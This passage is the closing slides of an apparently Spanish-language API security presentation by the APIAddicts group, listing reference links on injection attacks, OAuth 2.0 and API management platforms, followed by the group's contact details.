  • 48. ➢ RSA conference 2014: http://goo.gl/IWCQwU ➢ Ataques de inyección de código: http://en.wikipedia.org/wiki/Code_injection ➢ Ataques de inyección de SQL: http://goo.gl/ViFpOr ➢ Ataques de inyección en php : http://goo.gl/qhbf9U ➢ Seguridad en las APIs desde el punto de vista de devops y CSO. ➢ Oauth2.0: http://goo.gl/p9XPQS , http://goo.gl/emYNqO ➢ Web principal de apigee : http://apigee.com ➢ Web principal de wso2: http://wso2.com Enlaces de interés
  • 50.
  • 51. Contacta en: Email: admin@apiaddicts.org Web: http://www.meetup.com/APIAddicts Siguenos en: ➢ Linkedin: ApiAddicts ➢ Twitter: @apiaddicts ➢ Facebook: APIAddicts ➢ Meetup: APIAddicts Contacta